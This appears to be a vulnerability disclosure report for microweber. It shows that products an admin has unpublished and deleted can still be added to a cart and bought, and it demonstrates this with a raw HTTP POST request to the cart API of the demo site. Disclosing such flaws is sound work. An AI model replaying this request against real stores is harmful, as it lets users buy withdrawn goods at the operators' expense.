Business Logic Errors in microweber/microweber
Valid
Reported on
Feb 24th 2022
Description
Product (status of product is unpublished) has been deleted by admin (in Trash folder) but user can still add to cart and make purchases
Proof of Concept
Step 1: Admin go to Shop > Products: Unpublish product and Delete product
Step 2: User add product to cart by request
POST /demo/api/update_cart HTTP/1.1
Host: demo.microweber.org
Cookie: laravel_session=RFi1m9FJtrMWKbIiBU1jtkSbS1kptgVMESVsCq3E; csrf-token-data=%7B%22value%22%3A%22XxGwqHlTMfA68SQNI4ECjFaafwIvqGcExatjLvmr%22%2C%22expiry%22%3A1645670756283%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 13
Origin: https://demo.microweber.org
Dnt: 1
Referer: https://demo.microweber.org/demo/shop
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
content_id=15
Demo with product id = 15
https://drive.google.com/file/d/1XriKKJz3q6TchFMHF9Ec2wM0OaSxVEHU/view?usp=sharing
Impact
User can add deleted product to cart and buy it
We are processing your report and will contact the
microweber
team within 24 hours.
2 years ago
Andy modified the report
2 years ago
We have contacted a member of the
microweber
team and are waiting to hear back
2 years ago
to join this conversation